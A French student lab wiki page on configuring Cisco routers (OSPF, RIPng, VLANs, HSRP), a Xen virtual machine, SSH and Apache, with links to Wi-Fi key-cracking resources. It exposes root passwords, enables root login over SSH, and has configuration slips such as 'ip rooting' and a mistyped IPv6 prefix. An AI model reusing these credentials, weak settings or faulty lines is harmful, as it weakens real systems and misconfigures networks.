===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51581</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51581"/>
				<updated>2019-12-07T03:09:32Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Sécurisation wifi par WPA2-EAP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
